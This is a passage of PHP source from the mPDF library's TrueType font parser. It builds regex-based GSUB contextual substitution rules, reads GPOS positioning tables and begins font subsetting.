$this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, $lookupGlyphs, $seqIndex); $REPL = implode(" ", $luss['substitute']); if (strpos("isol fina fin2 fin3 medi med2 init ", $tag) !== false && $scripttag == 'arab') { $volt[] = ['match' => $lookupGlyphs[0], 'replace' => $REPL, 'tag' => $tag, 'prel' => $backtrackGlyphs, 'postl' => $lookaheadGlyphs, 'ignore' => $ignore]; } else { $subRule['rules'][] = ['type' => $Lookup[$lup]['Type'], 'match' => $lookupGlyphs, 'replace' => $luss['substitute'], 'seqIndex' => $seqIndex, 'key' => $lookupGlyphs[0],]; } } } } } if (count($subRule['rules'])) { $volt[] = $subRule; } } } } // Format 2: Class-based Chaining Context Glyph Substitution p257 elseif ($SubstFormat == 2) { $ignore = $this->_getGSUBignoreString($Lookup[$i]['Flag'], $Lookup[$i]['MarkFilteringSet']); foreach ($Lookup[$i]['Subtable'][$c]['ChainSubClassSet'] as $inputClass => $cscs) { for ($cscrule = 0; $cscrule < $cscs['ChainSubClassRuleCnt']; $cscrule++) { $rule = $cscs['ChainSubClassRule'][$cscrule]; // These contain classes of glyphs as strings // $Lookup[$i]['Subtable'][$c]['InputClasses'][(class)] e.g. 02E6|02E7|02E8 // $Lookup[$i]['Subtable'][$c]['LookaheadClasses'][(class)] // $Lookup[$i]['Subtable'][$c]['BacktrackClasses'][(class)] // These contain arrays of classIndexes // [Backtrack] [Lookahead] and [Input] (Input is from the second position only) $inputGlyphs = []; if (isset($Lookup[$i]['Subtable'][$c]['InputClasses'][$inputClass])) { $inputGlyphs[0] = $Lookup[$i]['Subtable'][$c]['InputClasses'][$inputClass]; } else { $inputGlyphs[0] = ''; } if ($rule['InputGlyphCount'] > 1) { // NB starts at 1 for ($gcl = 1; $gcl < $rule['InputGlyphCount']; $gcl++) { $classindex = $rule['Input'][$gcl]; if (isset($Lookup[$i]['Subtable'][$c]['InputClasses'][$classindex])) { $inputGlyphs[$gcl] = $Lookup[$i]['Subtable'][$c]['InputClasses'][$classindex]; } // if class[0] = all glyphs excluding those specified in all other classes // set to blank '' for now else { $inputGlyphs[$gcl] = ''; } } } $nInput = $rule['InputGlyphCount']; if ($rule['BacktrackGlyphCount']) { for ($gcl = 0; $gcl < $rule['BacktrackGlyphCount']; $gcl++) { $classindex = $rule['Backtrack'][$gcl]; if (isset($Lookup[$i]['Subtable'][$c]['BacktrackClasses'][$classindex])) { $backtrackGlyphs[$gcl] = $Lookup[$i]['Subtable'][$c]['BacktrackClasses'][$classindex]; } // if class[0] = all glyphs excluding those specified in all other classes // set to blank '' for now else { $backtrackGlyphs[$gcl] = ''; } } } else { $backtrackGlyphs = []; } // Returns e.g. ¦(FEEB|FEEC)(ignore) ¦(FD12|FD13)(ignore) ¦ $backtrackMatch = $this->_makeGSUBbacktrackMatch($backtrackGlyphs, $ignore); if ($rule['LookaheadGlyphCount']) { for ($gcl = 0; $gcl < $rule['LookaheadGlyphCount']; $gcl++) { $classindex = $rule['Lookahead'][$gcl]; if (isset($Lookup[$i]['Subtable'][$c]['LookaheadClasses'][$classindex])) { $lookaheadGlyphs[$gcl] = $Lookup[$i]['Subtable'][$c]['LookaheadClasses'][$classindex]; } // if class[0] = all glyphs excluding those specified in all other classes // set to blank '' for now else { $lookaheadGlyphs[$gcl] = ''; } } } else { $lookaheadGlyphs = []; } // Returns e.g. ¦(ignore) (FD12|FD13)¦(ignore) (FEEB|FEEC)¦ $lookaheadMatch = $this->_makeGSUBlookaheadMatch($lookaheadGlyphs, $ignore); $nBsubs = 2 * count($backtrackGlyphs); $nIsubs = (2 * $nInput) - 1; $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, [], 0); $subRule = ['context' => 1, 'tag' => $tag, 'matchback' => $backtrackMatch, 'match' => ($contextInputMatch . $lookaheadMatch), 'nBacktrack' => count($backtrackGlyphs), 'nInput' => $nInput, 'nLookahead' => count($lookaheadGlyphs), 'rules' => [],]; for ($b = 0; $b < $rule['SubstCount']; $b++) { $lup = $rule['LookupListIndex'][$b]; $seqIndex = $rule['SequenceIndex'][$b]; // $Lookup[$lup] = secondary Lookup for ($lus = 0; $lus < $Lookup[$lup]['SubtableCount']; $lus++) { if (count($Lookup[$lup]['Subtable'][$lus]['subs'])) { foreach ($Lookup[$lup]['Subtable'][$lus]['subs'] as $luss) { $lookupGlyphs = $luss['Replace']; $mLen = count($lookupGlyphs); // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // then apply the substitution if (strpos($inputGlyphs[$seqIndex], $lookupGlyphs[0]) === false) { continue; } // Returns e.g. ¦(0612)¦(ignore) (0613)¦(ignore) (0614)¦ $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, $lookupGlyphs, $seqIndex); $REPL = implode(" ", $luss['substitute']); // Returns e.g. "REPL\${6}\${8}" or "\${1}\${2} \${3} REPL\${4}\${6}\${8} \${9}" if (strpos("isol fina fin2 fin3 medi med2 init ", $tag) !== false && $scripttag == 'arab') { $volt[] = ['match' => $lookupGlyphs[0], 'replace' => $REPL, 'tag' => $tag, 'prel' => $backtrackGlyphs, 'postl' => $lookaheadGlyphs, 'ignore' => $ignore]; } else { $subRule['rules'][] = ['type' => $Lookup[$lup]['Type'], 'match' => $lookupGlyphs, 'replace' => $luss['substitute'], 'seqIndex' => $seqIndex, 'key' => $lookupGlyphs[0],]; } } } } } if (count($subRule['rules'])) { $volt[] = $subRule; } } } } // Format 3: Coverage-based Chaining Context Glyph Substitution p259 elseif ($SubstFormat == 3) { // IgnoreMarks flag set on main Lookup table $ignore = $this->_getGSUBignoreString($Lookup[$i]['Flag'], $Lookup[$i]['MarkFilteringSet']); $inputGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageInputGlyphs']; $CoverageInputGlyphs = implode('|', $inputGlyphs); $nInput = $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; if ($Lookup[$i]['Subtable'][$c]['BacktrackGlyphCount']) { $backtrackGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageBacktrackGlyphs']; } else { $backtrackGlyphs = []; } // Returns e.g. ¦(FEEB|FEEC)(ignore) ¦(FD12|FD13)(ignore) ¦ $backtrackMatch = $this->_makeGSUBbacktrackMatch($backtrackGlyphs, $ignore); if ($Lookup[$i]['Subtable'][$c]['LookaheadGlyphCount']) { $lookaheadGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageLookaheadGlyphs']; } else { $lookaheadGlyphs = []; } // Returns e.g. ¦(ignore) (FD12|FD13)¦(ignore) (FEEB|FEEC)¦ $lookaheadMatch = $this->_makeGSUBlookaheadMatch($lookaheadGlyphs, $ignore); $nBsubs = 2 * count($backtrackGlyphs); $nIsubs = (2 * $nInput) - 1; $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, [], 0); $subRule = ['context' => 1, 'tag' => $tag, 'matchback' => $backtrackMatch, 'match' => ($contextInputMatch . $lookaheadMatch), 'nBacktrack' => count($backtrackGlyphs), 'nInput' => $nInput, 'nLookahead' => count($lookaheadGlyphs), 'rules' => [],]; for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['SubstCount']; $b++) { $lup = $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['LookupListIndex']; $seqIndex = $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['SequenceIndex']; for ($lus = 0; $lus < $Lookup[$lup]['SubtableCount']; $lus++) { if (count($Lookup[$lup]['Subtable'][$lus]['subs'])) { foreach ($Lookup[$lup]['Subtable'][$lus]['subs'] as $luss) { $lookupGlyphs = $luss['Replace']; $mLen = count($lookupGlyphs); // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // then apply the substitution if (strpos($inputGlyphs[$seqIndex], $lookupGlyphs[0]) === false) { continue; } // Returns e.g. ¦(0612)¦(ignore) (0613)¦(ignore) (0614)¦ $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, $lookupGlyphs, $seqIndex); $REPL = implode(" ", $luss['substitute']); if (strpos("isol fina fin2 fin3 medi med2 init ", $tag) !== false && $scripttag == 'arab') { $volt[] = ['match' => $lookupGlyphs[0], 'replace' => $REPL, 'tag' => $tag, 'prel' => $backtrackGlyphs, 'postl' => $lookaheadGlyphs, 'ignore' => $ignore]; } else { $subRule['rules'][] = ['type' => $Lookup[$lup]['Type'], 'match' => $lookupGlyphs, 'replace' => $luss['substitute'], 'seqIndex' => $seqIndex, 'key' => $lookupGlyphs[0],]; } } } } } if (count($subRule['rules'])) { $volt[] = $subRule; } } } } } return $volt; } function _checkGSUBignore($flag, $glyph, $MarkFilteringSet) { $ignore = false; // Flag & 0x0008 = Ignore Marks - (unless already done with MarkAttachmentType) if ((($flag & 0x0008) == 0x0008 && ($flag & 0xFF00) == 0) && strpos($this->GlyphClassMarks, $glyph)) { $ignore = true; } if ((($flag & 0x0004) == 0x0004) && strpos($this->GlyphClassLigatures, $glyph)) { $ignore = true; } if ((($flag & 0x0002) == 0x0002) && strpos($this->GlyphClassBases, $glyph)) { $ignore = true; } // Flag & 0xFF?? = MarkAttachmentType if ($flag & 0xFF00) { // "a lookup must ignore any mark glyphs that are not in the specified mark attachment class" // $this->MarkAttachmentType is already adjusted for this i.e. contains all Marks except those in the MarkAttachmentClassDef table if (strpos($this->MarkAttachmentType[($flag >> 8)], $glyph)) { $ignore = true; } } // Flag & 0x0010 = UseMarkFilteringSet if (($flag & 0x0010) && strpos($this->MarkGlyphSets[$MarkFilteringSet], $glyph)) { $ignore = true; } return $ignore; } function _getGSUBignoreString($flag, $MarkFilteringSet) { // If ignoreFlag set, combine all ignore glyphs into -> "((?:(?: FBA1| FBA2| FBA3))*)" // else "()" // for Input - set on secondary Lookup table if in Context, and set Backtrack and Lookahead on Context Lookup $str = ""; $ignoreflag = 0; // Flag & 0xFF?? = MarkAttachmentType if ($flag & 0xFF00) { // "a lookup must ignore any mark glyphs that are not in the specified mark attachment class" // $this->MarkAttachmentType is already adjusted for this i.e. contains all Marks except those in the MarkAttachmentClassDef table $MarkAttachmentType = $flag >> 8; $ignoreflag = $flag; $str = $this->MarkAttachmentType[$MarkAttachmentType]; } // Flag & 0x0010 = UseMarkFilteringSet if ($flag & 0x0010) { throw new \Mpdf\MpdfException("This font " . $this->fontkey . " contains MarkGlyphSets - Not tested yet"); $str = $this->MarkGlyphSets[$MarkFilteringSet]; } // If Ignore Marks set, supercedes any above // Flag & 0x0008 = Ignore Marks - (unless already done with MarkAttachmentType) if (($flag & 0x0008) == 0x0008 && ($flag & 0xFF00) == 0) { $ignoreflag = 8; $str = $this->GlyphClassMarks; } // Flag & 0x0004 = Ignore Ligatures if (($flag & 0x0004) == 0x0004) { $ignoreflag += 4; if ($str) { $str .= "|"; } $str .= $this->GlyphClassLigatures; } // Flag & 0x0002 = Ignore BaseGlyphs if (($flag & 0x0002) == 0x0002) { $ignoreflag += 2; if ($str) { $str .= "|"; } $str .= $this->GlyphClassBases; } if ($str) { // This originally returned e.g. ((?:(?:[IGNORE8]))*) when NOT specific to a Lookup e.g. rtlSub in // arabictypesetting.GSUB.arab.DFLT.php // This would save repeatedly saving long text strings if used multiple times // When writing e.g. arabictypesetting.GSUB.arab.DFLT.php to file, included as $ignore[8] // Would need to also write the $ignore array to that file // // If UseMarkFilteringSet (specific to the Lookup) return the string // if (($flag & 0x0010) && ($flag & 0x0008) != 0x0008) { // return "((?:(?:" . $str . "))*)"; // } // else { return "((?:(?:" . "[IGNORE".$ignoreflag."]" . "))*)"; } // // e.g. ((?:(?: 0031| 0032| 0033| 0034| 0045))*) // But never finished coding it to add the $ignore array to the file, and it doesn't seem to occur often enough to be worth // writing. So just output it as a string: return "((?:(?:" . $str . "))*)"; } else { return "()"; } } // GSUB Patterns /* BACKTRACK INPUT LOOKAHEAD ================================== ================== ================================== (FEEB|FEEC)(ign) ¦(FD12|FD13)(ign) ¦(0612)¦(ign) (0613)¦(ign) (FD12|FD13)¦(ign) (FEEB|FEEC) ---------------- ---------------- ----- ------------ --------------- --------------- Backtrack 1 Backtrack 2 Input 1 Input 2 Lookahead 1 Lookahead 2 -------- --- --------- --- ---- --- ---- --- --------- --- ------- \${1} \${2} \${3} \${4} \${5+} \${6+} \${7+} \${8+} nBacktrack = 2 nInput = 2 nLookahead = 2 nBsubs = 2xnBack nIsubs = (nBsubs+) nLsubs = (nBsubs+nIsubs+) 2xnLookahead "\${1}\${2} " (nInput*2)-1 "\${5+} \${6+}" "REPL" ¦\${1}\${2} ¦\${3}\${4} ¦REPL¦\${5+} \${6+}¦\${7+} \${8+}¦ INPUT nInput = 5 ============================================================ ¦(0612)¦(ign) (0613)¦(ign) (0614)¦(ign) (0615)¦(ign) (0615)¦ \${1} \${2} \${3} \${4} \${5} \${6} \${7} \${8} \${9} (All backreference numbers are + nBsubs) ----- ------------ ------------ ------------ ------------ Input 1 Input 2 Input 3 Input 4 Input 5 A====== SequenceIndex=1 ; Lookup match nGlyphs=1 B=================== SequenceIndex=1 ; Lookup match nGlyphs=2 C=============================== SequenceIndex=1 ; Lookup match nGlyphs=3 D======================= SequenceIndex=2 ; Lookup match nGlyphs=2 E===================================== SequenceIndex=2 ; Lookup match nGlyphs=3 F====================== SequenceIndex=4 ; Lookup match nGlyphs=2 All backreference numbers are + nBsubs A - "REPL\${2} \${3}\${4} \${5}\${6} \${7}\${8} \${9}" B - "REPL\${2}\${4} \${5}\${6} \${7}\${8} \${9}" C - "REPL\${2}\${4}\${6} \${7}\${8} \${9}" D - "\${1} REPL\${2}\${4}\${6} \${7}\${8} \${9}" E - "\${1} REPL\${2}\${4}\${6}\${8} \${9}" F - "\${1}\${2} \${3}\${4} \${5} REPL\${6}\${8}" */ function _makeGSUBcontextInputMatch($inputGlyphs, $ignore, $lookupGlyphs, $seqIndex) { // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // Returns e.g. ¦(0612)¦(ignore) (0613)¦(ignore) (0614)¦ // $inputGlyphs = array of glyphs(glyphstrings) making up Input sequence in Context // $lookupGlyphs = array of glyphs (single Glyphs) making up Lookup Input sequence $mLen = count($lookupGlyphs); // nGlyphs in the secondary Lookup match $nInput = count($inputGlyphs); // nGlyphs in the Primary Input sequence $str = ""; for ($i = 0; $i < $nInput; $i++) { if ($i > 0) { $str .= $ignore . " "; } if ($i >= $seqIndex && $i < ($seqIndex + $mLen)) { $str .= "(" . $lookupGlyphs[($i - $seqIndex)] . ")"; } else { $str .= "(" . $inputGlyphs[($i)] . ")"; } } return $str; } function _makeGSUBinputMatch($inputGlyphs, $ignore) { // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // Returns e.g. ¦(0612)¦(ignore) (0613)¦(ignore) (0614)¦ // $inputGlyphs = array of glyphs(glyphstrings) making up Input sequence in Context // $lookupGlyphs = array of glyphs making up Lookup Input sequence - if applicable $str = ""; for ($i = 1; $i <= count($inputGlyphs); $i++) { if ($i > 1) { $str .= $ignore . " "; } $str .= "(" . $inputGlyphs[($i - 1)] . ")"; } return $str; } function _makeGSUBbacktrackMatch($backtrackGlyphs, $ignore) { // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // Returns e.g. ¦(FEEB|FEEC)(ignore) ¦(FD12|FD13)(ignore) ¦ // $backtrackGlyphs = array of glyphstrings making up Backtrack sequence // 3 2 1 0 // each item being e.g. E0AD|E0AF|F1FD $str = ""; for ($i = (count($backtrackGlyphs) - 1); $i >= 0; $i--) { $str .= "(" . $backtrackGlyphs[$i] . ")" . $ignore . " "; } return $str; } function _makeGSUBlookaheadMatch($lookaheadGlyphs, $ignore) { // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // Returns e.g. ¦(ignore) (FD12|FD13)¦(ignore) (FEEB|FEEC)¦ // $lookaheadGlyphs = array of glyphstrings making up Lookahead sequence // 0 1 2 3 // each item being e.g. E0AD|E0AF|F1FD $str = ""; for ($i = 0; $i < count($lookaheadGlyphs); $i++) { $str .= $ignore . " (" . $lookaheadGlyphs[$i] . ")"; } return $str; } function _makeGSUBinputReplacement($nInput, $REPL, $ignore, $nBsubs, $mLen, $seqIndex) { // Returns e.g. "REPL\${6}\${8}" or "\${1}\${2} \${3} REPL\${4}\${6}\${8} \${9}" // $nInput nGlyphs in the Primary Input sequence // $REPL replacement glyphs from secondary lookup // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // $nBsubs Number of Backtrack substitutions (= 2x Number of Backtrack glyphs) // $mLen nGlyphs in the secondary Lookup match - if no secondary lookup, should=$nInput // $seqIndex Sequence Index to apply the secondary match if ($ignore == "()") { $ign = false; } else { $ign = true; } $str = ""; if ($nInput == 1) { $str = $REPL; } elseif ($nInput > 1) { if ($mLen == $nInput) { // whole string replaced $str = $REPL; if ($ign) { // for every nInput over 1, add another replacement backreference, to move IGNORES after replacement for ($x = 2; $x <= $nInput; $x++) { $str .= '\\' . ($nBsubs + (2 * ($x - 1))); } } } else { // if only part of string replaced: for ($x = 1; $x < ($seqIndex + 1); $x++) { if ($x == 1) { $str .= '\\' . ($nBsubs + 1); } else { if ($ign) { $str .= '\\' . ($nBsubs + (2 * ($x - 1))); } $str .= ' \\' . ($nBsubs + 1 + (2 * ($x - 1))); } } if ($seqIndex > 0) { $str .= " "; } $str .= $REPL; if ($ign) { for ($x = (max(($seqIndex + 1), 2)); $x < ($seqIndex + 1 + $mLen); $x++) { // move IGNORES after replacement $str .= '\\' . ($nBsubs + (2 * ($x - 1))); } } for ($x = ($seqIndex + 1 + $mLen); $x <= $nInput; $x++) { if ($ign) { $str .= '\\' . ($nBsubs + (2 * ($x - 1))); } $str .= ' \\' . ($nBsubs + 1 + (2 * ($x - 1))); } } } return $str; } function _getCoverage($convert2hex = true, $mode = 1) { $g = []; $ctr = 0; $CoverageFormat = $this->read_ushort(); if ($CoverageFormat == 1) { $CoverageGlyphCount = $this->read_ushort(); for ($gid = 0; $gid < $CoverageGlyphCount; $gid++) { $glyphID = $this->read_ushort(); $uni = $this->glyphToChar[$glyphID][0]; if ($convert2hex) { $g[] = unicode_hex($uni); } elseif ($mode == 2) { $g[$uni] = $ctr; $ctr++; } else { $g[] = $glyphID; } } } if ($CoverageFormat == 2) { $RangeCount = $this->read_ushort(); for ($r = 0; $r < $RangeCount; $r++) { $start = $this->read_ushort(); $end = $this->read_ushort(); $StartCoverageIndex = $this->read_ushort(); // n/a for ($glyphID = $start; $glyphID <= $end; $glyphID++) { $uni = $this->glyphToChar[$glyphID][0]; if ($convert2hex) { $g[] = unicode_hex($uni); } elseif ($mode == 2) { $uni = $g[$uni] = $ctr; $ctr++; } else { $g[] = $glyphID; } } } } return $g; } function _getClasses($offset) { $this->seek($offset); $ClassFormat = $this->read_ushort(); $GlyphByClass = []; if ($ClassFormat == 1) { $StartGlyph = $this->read_ushort(); $GlyphCount = $this->read_ushort(); for ($i = 0; $i < $GlyphCount; $i++) { $startGlyphID = $StartGlyph + $i; $endGlyphID = $StartGlyph + $i; $class = $this->read_ushort(); for ($g = $startGlyphID; $g <= $endGlyphID; $g++) { if (isset($this->glyphToChar[$g][0])) { $GlyphByClass[$class][] = unicode_hex($this->glyphToChar[$g][0]); } } } } elseif ($ClassFormat == 2) { $tableCount = $this->read_ushort(); for ($i = 0; $i < $tableCount; $i++) { $startGlyphID = $this->read_ushort(); $endGlyphID = $this->read_ushort(); $class = $this->read_ushort(); for ($g = $startGlyphID; $g <= $endGlyphID; $g++) { if ($this->glyphToChar[$g][0]) { $GlyphByClass[$class][] = unicode_hex($this->glyphToChar[$g][0]); } } } } $gbc = []; foreach ($GlyphByClass as $class => $garr) { $gbc[$class] = implode('|', $garr); } return $gbc; } function _getGPOStables() { /////////////////////////////////// // GPOS - Glyph Positioning /////////////////////////////////// if (!isset($this->tables["GPOS"])) { return [[], [], []]; } $ffeats = []; $gpos_offset = $this->seek_table("GPOS"); $this->skip(4); $ScriptList_offset = $gpos_offset + $this->read_ushort(); $FeatureList_offset = $gpos_offset + $this->read_ushort(); $LookupList_offset = $gpos_offset + $this->read_ushort(); // ScriptList $this->seek($ScriptList_offset); $ScriptCount = $this->read_ushort(); for ($i = 0; $i < $ScriptCount; $i++) { $ScriptTag = $this->read_tag(); // = "beng", "deva" etc. $ScriptTableOffset = $this->read_ushort(); $ffeats[$ScriptTag] = $ScriptList_offset + $ScriptTableOffset; } // Script Table foreach ($ffeats as $t => $o) { $ls = []; $this->seek($o); $DefLangSys_offset = $this->read_ushort(); if ($DefLangSys_offset > 0) { $ls['DFLT'] = $DefLangSys_offset + $o; } $LangSysCount = $this->read_ushort(); for ($i = 0; $i < $LangSysCount; $i++) { $LangTag = $this->read_tag(); // = $LangTableOffset = $this->read_ushort(); $ls[$LangTag] = $o + $LangTableOffset; } $ffeats[$t] = $ls; } // Get FeatureIndexList // LangSys Table - from first listed langsys foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $o) { $FeatureIndex = []; $langsystable_offset = $o; $this->seek($langsystable_offset); $LookUpOrder = $this->read_ushort(); //==NULL $ReqFeatureIndex = $this->read_ushort(); if ($ReqFeatureIndex != 0xFFFF) { $FeatureIndex[] = $ReqFeatureIndex; } $FeatureCount = $this->read_ushort(); for ($i = 0; $i < $FeatureCount; $i++) { $FeatureIndex[] = $this->read_ushort(); // = index of feature } $ffeats[$st][$t] = $FeatureIndex; } } // Feauture List => LookupListIndex es $this->seek($FeatureList_offset); $FeatureCount = $this->read_ushort(); $Feature = []; for ($i = 0; $i < $FeatureCount; $i++) { $tag = $this->read_tag(); if ($tag === 'kern') { $this->haskernGPOS = true; } $Feature[$i] = ['tag' => $tag]; $Feature[$i]['offset'] = $FeatureList_offset + $this->read_ushort(); } for ($i = 0; $i < $FeatureCount; $i++) { $this->seek($Feature[$i]['offset']); $this->read_ushort(); // null $Feature[$i]['LookupCount'] = $Lookupcount = $this->read_ushort(); $Feature[$i]['LookupListIndex'] = []; for ($c = 0; $c < $Lookupcount; $c++) { $Feature[$i]['LookupListIndex'][] = $this->read_ushort(); } } foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $o) { $FeatureIndex = $ffeats[$st][$t]; foreach ($FeatureIndex as $k => $fi) { $ffeats[$st][$t][$k] = $Feature[$fi]; } } } $gpos = []; $GPOSScriptLang = []; foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $langsys) { $lg = []; foreach ($langsys as $ft) { $lg[$ft['LookupListIndex'][0]] = $ft; } // list of Lookups in order they need to be run i.e. order listed in Lookup table ksort($lg); foreach ($lg as $ft) { $gpos[$st][$t][$ft['tag']] = $ft['LookupListIndex']; } if (!isset($GPOSScriptLang[$st])) { $GPOSScriptLang[$st] = ''; } $GPOSScriptLang[$st] .= $t . ' '; } } // Get metadata and offsets for whole Lookup List table $this->seek($LookupList_offset); $LookupCount = $this->read_ushort(); $Lookup = []; $Offsets = []; $SubtableCount = []; for ($i = 0; $i < $LookupCount; $i++) { $Offsets[$i] = $LookupList_offset + $this->read_ushort(); } for ($i = 0; $i < $LookupCount; $i++) { $this->seek($Offsets[$i]); $Lookup[$i]['Type'] = $this->read_ushort(); $Lookup[$i]['Flag'] = $flag = $this->read_ushort(); $Lookup[$i]['SubtableCount'] = $SubtableCount[$i] = $this->read_ushort(); for ($c = 0; $c < $SubtableCount[$i]; $c++) { $Lookup[$i]['Subtables'][$c] = $Offsets[$i] + $this->read_ushort(); } // MarkFilteringSet = Index (base 0) into GDEF mark glyph sets structure if (($flag & 0x0010) === 0x0010) { $Lookup[$i]['MarkFilteringSet'] = $this->read_ushort(); } else { $Lookup[$i]['MarkFilteringSet'] = ''; } // Lookup Type 9: Extension if ($Lookup[$i]['Type'] == 9) { // Overwrites new offset (32-bit) for each subtable, and a new lookup Type for ($c = 0; $c < $SubtableCount[$i]; $c++) { $this->seek($Lookup[$i]['Subtables'][$c]); $ExtensionPosFormat = $this->read_ushort(); $type = $this->read_ushort(); $Lookup[$i]['Subtables'][$c] = $Lookup[$i]['Subtables'][$c] + $this->read_ulong(); } $Lookup[$i]['Type'] = $type; } } // Process Whole LookupList - Get LuCoverage = Lookup coverage just for first glyph $this->LuCoverage = []; for ($i = 0; $i < $LookupCount; $i++) { for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $this->seek($Lookup[$i]['Subtables'][$c]); $PosFormat = $this->read_ushort(); if ($Lookup[$i]['Type'] == 7 && $PosFormat == 3) { $this->skip(4); } elseif ($Lookup[$i]['Type'] == 8 && $PosFormat == 3) { $BacktrackGlyphCount = $this->read_ushort(); $this->skip(2 * $BacktrackGlyphCount + 2); } // NB Coverage only looks at glyphs for position 1 (i.e. 7.3 and 8.3) // NEEDS TO READ ALL ******************** // NB For e.g. Type 4, this may be the Coverage for the Mark $Coverage = $Lookup[$i]['Subtables'][$c] + $this->read_ushort(); $this->seek($Coverage); $glyphs = $this->_getCoverage(false, 2); $this->LuCoverage[$i][$c] = $glyphs; } } $this->fontCache->jsonWrite($this->fontkey . '.GPOSdata.json', $this->LuCoverage); return [$GPOSScriptLang, $gpos, $Lookup]; } function makeSubset($file, &$subset, $TTCfontID = 0, $debug = false, $useOTL = false) { $this->useOTL = $useOTL; $this->filename = $file; $this->fh = fopen($file, 'rb'); if (!$this->fh) { throw new \Mpdf\MpdfException(sprintf('Unable to open file %s', $file)); } $this->_pos = 0; $this->charWidths = ''; $this->glyphPos = []; $this->charToGlyph = []; $this->tables = []; $this->otables = []; $this->ascent = 0; $this->descent = 0; $this->strikeoutSize = 0; $this->strikeoutPosition = 0; $this->numTTCFonts = 0; $this->TTCFonts = []; $this->skip(4); $this->maxUni = 0; if ($TTCfontID > 0) { $this->version = $version = $this->read_ulong(); // TTC Header version now if (!in_array($version, [0x00010000, 0x00020000], true)) { throw new \Mpdf\MpdfException(sprintf('Error parsing TrueType Collection: version=%s - %s', $version, $file)); } $this->numTTCFonts = $this->read_ulong(); for ($i = 1; $i <= $this->numTTCFonts; $i++) { $this->TTCFonts[$i]['offset'] = $this->read_ulong(); } $this->seek($this->TTCFonts[$TTCfontID]['offset']); $this->version = $version = $this->read_ulong(); // TTFont version again now } $this->readTableDirectory($debug); // head - Font header table $this->seek_table('head'); $this->skip(50); $indexToLocFormat = $this->read_ushort(); $glyphDataFormat = $this->read_ushort(); // hhea - Horizontal header table $this->seek_table('hhea'); $this->skip(32); $metricDataFormat = $this->read_ushort(); $orignHmetrics = $numberOfHMetrics = $this->read_ushort(); // maxp - Maximum profile table $this->seek_table('maxp'); $this->skip(4); $numGlyphs = $this->read_ushort(); // cmap - Character to glyph index mapping table $cmap_offset = $this->seek_table('cmap'); $this->skip(2); $cmapTableCount = $this->read_ushort(); $unicode_cmap_offset = 0; for ($i = 0; $i < $cmapTableCount; $i++) { $platformID = $this->read_ushort(); $encodingID = $this->read_ushort(); $offset = $this->read_ulong(); $save_pos = $this->_pos; if (($platformID == 3 && $encodingID == 1) || $platformID == 0) { // Microsoft, Unicode $format = $this->get_ushort($cmap_offset + $offset); if ($format == 4) { $unicode_cmap_offset = $cmap_offset + $offset; break; } } $this->seek($save_pos); } if (!$unicode_cmap_offset) { throw new \Mpdf\MpdfException(sprintf('Font "%s" does not have Unicode cmap (platform 3, encoding 1, format 4, or platform 0 [any encoding] format 4)', $this->filename)); } $glyphToChar = []; $charToGlyph = []; $this->getCMAP4($unicode_cmap_offset, $glyphToChar, $charToGlyph); // Map Unmapped glyphs - from $numGlyphs if ($useOTL) { $bctr = 0xE000; for ($gid = 1; $gid < $numGlyphs; $gid++) { if (!isset($glyphToChar[$gid])) { while (isset($charToGlyph[$bctr])) { $bctr++; } // Avoid overwriting a glyph already mapped in PUA if ($bctr > 0xF8FF) { throw new \Mpdf\MpdfException($file . " : WARNING - Font cannot map all included glyphs into Private Use Area U+E000 - U+F8FF; cannot use useOTL on this font"); } $glyphToChar[$gid][] = $bctr; $charToGlyph[$bctr] = $gid; $bctr++; } } } $this->charToGlyph = $charToGlyph; $this->glyphToChar = $glyphToChar; // hmtx - Horizontal metrics table $scale = 1; // not used $this->getHMTX($numberOfHMetrics, $numGlyphs, $glyphToChar, $scale); // loca - Index to location $this->getLOCA($indexToLocFormat, $numGlyphs); $subsetglyphs = [0 => 0, 1 => 1, 2 => 2]; $subsetCharToGlyph = []; foreach ($subset as $code) { if (isset($this->charToGlyph[$code])) { $subsetglyphs[$this->charToGlyph[$code]] = $code; // Old Glyph ID => Unicode $subsetCharToGlyph[$code] = $this->charToGlyph[$code]; // Unicode to old GlyphID } $this->maxUni = max($this->maxUni, $code); } list($start, $dummy) = $this->get_table_pos('glyf'); $glyphSet = []; ksort($subsetglyphs); $n = 0; $fsLastCharIndex = 0; // maximum Unicode index (character code) in this font, according to the cmap subtable for platform ID 3 and platform- specific encoding ID 0 or 1. foreach ($subsetglyphs as $originalGlyphIdx => $uni) { $fsLastCharIndex = max($fsLastCharIndex, $uni); $glyphSet[$originalGlyphIdx] = $n; // old glyphID to new glyphID $n++; } $codeToGlyph = []; ksort($subsetCharToGlyph); foreach ($subsetCharToGlyph as $uni => $originalGlyphIdx) { $codeToGlyph[$uni] = $glyphSet[$originalGlyphIdx]; } $this->codeToGlyph = $codeToGlyph; ksort($subsetglyphs); foreach ($subsetglyphs as $originalGlyphIdx => $uni) { $this->getGlyphs($originalGlyphIdx, $start, $glyphSet, $subsetglyphs); } $numGlyphs = $numberOfHMetrics = count($subsetglyphs); // name - table copied from the original // MS spec says that "Platform and encoding ID's in the name table should be consistent with those in the cmap table. // If they are not, the font will not load in Windows" // Doesn't seem to be a problem? $this->add('name', $this->get_table('name')); // tables copied from the original $tags = ['cvt ', 